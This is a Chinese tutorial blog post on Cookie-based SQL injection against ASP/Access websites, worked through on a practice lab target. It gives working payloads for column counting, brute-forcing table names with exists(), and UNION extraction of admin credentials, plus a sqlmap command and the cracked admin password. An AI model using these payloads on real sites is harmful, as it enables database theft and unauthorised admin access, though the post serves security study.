Accsess注入

🛑郑重声明

此文章仅供学习交流与参考使用,禁止运用于任何非法行动或测试中,若有预期之外的后果,将不承担任何责任!!

开发人员用REQUEST进行获取参数,当Cookie里面具有相同的键值时,如果传参无该键,将会从Cookie中获取。后台校验又没有对Cookie进行校验,所以会产生Cookie注入。

Cookie注入在ASP网站中和低版本php中才会有,ASP常用的数据库是Accsess。Accsess数据库又比较特殊,所以这边用Accsess讲解。

为什么可以cookie注入

因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参

cookie注入满足条件

网站会获取Cookie传参然后和原有的SQL语句拼接再传入数据库

Cookie注入常见吗?

老一点的ASP网站常见,PHP看版本,因为高于5.4以上的php版本他的$_REQUEST将不再接受cookie传参

  1. Burp抓取数据包直接修改数据包的值,添加一个Cookie字段在请求头里面
  2. 使用浏览器插件修改Cookie
  3. 使用JS修改Cookie document.cookie=”id=” + escape(“171”) escape是一个编码函数,这个函数会进行一次URL编码

注意点:Cookie传参值需要URL编码,大家记得传参的值URL编码下

在线URL编码地址:UrlEncode编码/UrlDecode解码 - 站长工具

Cookie注入靶场讲解

最简单的联合查询获取表名字段名不能用,因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名,方法只有爆破,and exists (select*from 表名) 如果页面正常,就是存在这个表
exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True

SQLmap如何跑Cookie注入 sqlmap.py -u “http://59.63.200.79:8004/shownews.asp“ —cookie “id=171” —level 2

确认注入类型和注入点

去处GET传参,修改为Cookie:id=172 AND 1=1,发现页面展示正常,修改为Cookie:id=172 AND 1=2,发现页面展示不正常,确认为Cookie注入


不正常页面

确认字段个数

去处GET传参,修改为Cookie:id=172 ORDER BY 10,发现页面展示正常,修改为Cookie:id=172 ORDER BY 11,发现页面展示不正常,确认展示字段个数为10个


不正常页面

猜测表名称

因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名,方法只有爆破。and exists (selectfrom 表名) 如果页面正常,就是存在这个表
去处GET传参,修改为Cookie:id=172 and exists (select
from admin) ,发现页面展示正常,说明存在admin表

猜测字段名称

修改为Cookie:id=172 and exists (select username from admin) ,发现页面展示正常,说明admin表存在username字段

修改为Cookie:id=172 and exists (select password from admin) ,发现页面展示正常,说明admin表存在password 字段

确认字段展示位置

修改为Cookie:id=172 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM admin ,根据结果可以知道 2和3均可以作为输出点

查询我们需要的数据

修改为Cookie:id=172 and 1=2 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM admin

密码:b9a2a2b5dffb918c这是密文,通过在线网站解密
http://cmd5.com
http://somd5.com

账号:admin

密码:welcome

登录后台获取通关口令

http://59.63.200.79:8004/admin/Login.asp


zkz{welcome-control}

Cookie注入常见问题

  1. Cookie注入常见吗?

    老一点的ASP网站常见,PHP看版本,因为高于5.4以上的php版本他的$_REQUEST将不再接受cookie传参

  2. COOKIE注入时为什么要删除URL内的id传参

    因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参,具体也是要看语言的,我测试过,PHP会优先接受Cookie传参

  3. 为什么可以cookie注入

    因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参

  4. 为什么没用到information_schema

    access数据库里没有系统自带表,只能猜

  5. 不能查information_schema怎么得知表名

    可以靠爆破和尝试一些常用表名(例如:news、admin、user)

  6. 为什么cookie注入里查找回显点语句后要加上from admin

    因为access数据库不支持select 1,2,3 这样的语句,他必须要跟表名

  7. 为什么cookie注入语句后面不用加注释

    这个和SQL语句的组成部分有关,你注入的地方语句如果是
    Select*from news where id=1 然后注入点在id=这里自然可以不加注释

  8. 为什么cookie注入可以绕过验证

    因为早期网站防护只检测GET和POST传参,没有检测COOKIE

  9. sqlmap如何进行cookie注入

    Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)
    还可以抓包,在Cookie后面打个*就可以了

  10. 在无法查询系统自带库的时候如何获取表名

    可以burp抓包爆破查询表名,因为表名的命名一般都有规则
    and exist(select * from xxx)

  11. cookie注入和显错注入,盲注这些有什么不同

    我们课堂演示的Cookie注入属于显错注入,凡事都是讲究对应,例如大对小 胖对瘦 高对矮。Cookie注入的核心是传参方式,他对应的应该是POST注入之类的。显错注入的分类很明显核心看是否是显错,那么对应的就是盲注或者报错注入之类的。

  12. 什么是cookie

    一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

  13. 如何去修改cookie

    • 可以抓包修改(burp)
    • 可以在浏览器里打开f12控制台通过JS修改,还可以在存储里修改cookie
    • 可以使用插件修改(modify headers)
  14. Cookie注入中可以用盲注的方式去判断表名吗

    可以呀,不过能用显错就用显错,这里即使是用盲注还是得暴力猜解表名

  15. Cookie注入只能在Access数据库上面使用吗?

    并不是呀,基本上所有数据库都能呀,Cookie注入核心是传参方式,传参方式和数据库类型没有关系呀,是动态脚本语言干的事,这个锅数据库他不背。

  16. Cookie注入仅仅在ASP站点有吗?

    Cookie注入在PHP中也有,但是最多得还是ASP,因为PHP在5.4的版本$_REQUEST就不会再接受Cookie传参了。

  17. 为什么我写的语句放入Cookie无效,SQL注入无效

    因为Cookie需要进行一次URL编码才会有效果

  18. 为什么我谷歌直接修改Cookie没有效果

    建议使用火狐浏览器,不要使用谷歌

  19. 如果用Sqlmap直接跑Cookie注入

    sqlmap.py -u “http://59.63.200.79:8004/shownews.asp“ —cookie “id=171” —level 2

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qq_36232967

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值